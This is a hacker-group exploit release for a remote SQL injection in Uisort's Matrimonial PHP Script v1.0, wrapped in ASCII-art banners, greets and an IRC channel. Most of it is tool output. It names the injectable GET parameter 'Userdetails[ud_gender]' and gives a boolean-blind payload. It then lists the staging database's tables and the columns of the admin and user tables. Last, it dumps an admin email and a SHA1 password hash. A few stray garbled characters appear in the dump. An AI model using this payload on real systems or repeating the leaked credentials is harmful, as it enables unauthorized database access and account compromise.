┌┌───────────────────────────────────────────────────────────────────────────────────────┐
││ C r a C k E r ┌┘
┌┘ T H E C R A C K O F E T E R N A L M I G H T ││
└───────────────────────────────────────────────────────────────────────────────────────┘┘
┌──── From The Ashes and Dust Rises An Unimaginable crack.... ────┐
┌┌───────────────────────────────────────────────────────────────────────────────────────┐
┌┘ [ Exploits ] ┌┘
└───────────────────────────────────────────────────────────────────────────────────────┘┘
: Author : CraCkEr │ │ :
│ Website : uisort.com │ │ │
│ Vendor : Uisort Technologies Pvt. Ltd. │ │ │
│ Software : Matrimonial PHP Script v1.0 │ │ Matrimonial Script PHP tailored with │
│ Demo : stage.matrimic.in │ │ advanced features website │
│ Vuln Type: Remote SQL Injection │ │ & mobile apps from matrimic │
│ Method : GET │ │ │
│ Impact : Database Access │ │ │
│ │ │ │
│────────────────────────────────────────────┘ └─────────────────────────────────────────│
│ B4nks-NET irc.b4nks.tk #unix ┌┘
└───────────────────────────────────────────────────────────────────────────────────────┘┘
: :
│ Release Notes: │
│ ═════════════ │
│ Typically used for remotely exploitable vulnerabilities that can lead to │
│ system compromise. │
│ │
┌┌───────────────────────────────────────────────────────────────────────────────────────┐
┌┘ ┌┘
└───────────────────────────────────────────────────────────────────────────────────────┘┘
Greets:
Phr33k , NK, GoldenX, Wehla, Cap, ZARAGAGA, DarkCatSpace, R0ot, KnG, Centerk
loool, DevS, Dark-Gost, Carlos132sp, ProGenius, bomb, fjear, H3LLB0Y
CryptoJob (Twitter) twitter.com/CryptozJob
┌┌───────────────────────────────────────────────────────────────────────────────────────┐
┌┘ © CraCkEr 2022 ┌┘
└───────────────────────────────────────────────────────────────────────────────────────┘┘
GET parameter 'Userdetails[ud_gender]' is vulnerable
---
Parameter: Userdetails[ud_gender] (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: Userdetails[ud_gender]=1 AND 2636=2636
---
[+] Starting the Attack
[INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL >= 5.0.0
[INFO] fetching current database
[INFO] retrieved: stage_db_qa
[INFO] fetching number of tables for database 'stage_db_qa'
Database: stage_db_qa
[37 tables]
+--------------------+
| YiiCache |
| YiiLog |
| mc_admin |
| mc_blocklist |
| mc_caste |
| mc_city |
| mc_cms |
| mc_contact |
| mc_contact_history |
| mc_country |
| mc_currency |
| mc_deleteprofile |
| mc_education |
| mc_feedback |
| mc_gallery |
| mc_height |
| mc_horoscope |
| mc_import_jobs |
| mc_interest |
| mc_language |
| mc_message |
| mc_occupation |
| mc_partner |
| mc_plan |
| mc_profile_viewed |
| mc_religion |
| mc_searchlist |
| mc_settings |
| mc_shortlist |
| mc_sms_history |
| mc_state |
| mc_subcaste |
| mc_success_story |
| mc_toungue |
| mc_transaction |
| mc_user |
| mc_userdetails |
+--------------------+
[INFO] fetching columns for table 'mc_admin' in database 'stage_db_qa'
Database: stage_db_qa
Table: mc_admin
[4 columns]
+--------------+-------------+
| Column | Type |
+--------------+-------------+
| admin_email | varchar(32) |
| admin_id | int(11) |
| admin_name | varchar(32) |
| admin_status | int(11) |
+--------------+-------------+
[INFO] fetching number of column(s) 'admin_email,admin_id,admin_name,admin_status' entries for table 'mc_admin' in database 'stage_db_qa'
Database: stage_db_qa
Table: mc_admin
[1 entry]
+----------+-----------------------+------------+--------------+
| admin_id | admin_email | admin_name | admin_status |
+----------+-----------------------+------------+--------------+
| 1 | admin@mat\x81imic.com | Admin | 1 |
+----------+-----------------------+------------+--------------+
[INFO] fetching columns for table 'mc_user' in database 'stage_db_qa'
Database: stage_db_qa
Table: mc_user
[20 columns]
+------------------------+--------------+
| Column | Type |
+------------------------+--------------+
| api_token | varchar(255) |
| code | varchar(128) |
| device | varchar(32) |
| user_activecode | varchar(32) |
| user_activedate | datetime |
| user_activestatus | int(11) |
| user_android_device_id | varchar(255) |
| user_email | varchar(32) |
| user_id | int(11) |
| user_ios_device_id | varchar(255) |
| user_ipaddress | varchar(32( |
| user_lastlogin | datetime |
| user_mobile | bigint(20) |
| user_opensource | varchar(32) |
| user_password | varchar(255) |
| user_salt | varchar(64) |
| user_status | int(11) |
| user_type | int(11) |
| user_userid | int(11) |
| user_verified_token | varchar(255) |
+------------------------+--------------+
[INFO] fetching number of column(s) 'user_email,user_id,user_password,user_type,user_userid' entries for table 'mc_user' in database 'stage_db_qa'
Database: stage_db_qa
Table: mc_user
[1 entry]
+---------+--------------------+------------------------------------------+-----------+-------------+
| user_id | user_email | user_password | user_type | user_userid |
+---------+--------------------+------------------------------------------+-----------+-------------+
| 1 | admin@matrimic.com | fa4c71db18591d0323141b39ab337b59b584b3b9 | 1 | 1 |
+---------+--------------------+------------------------------------------+-----------+-------------+
Possible Algorithms: SHA1
[-] Done
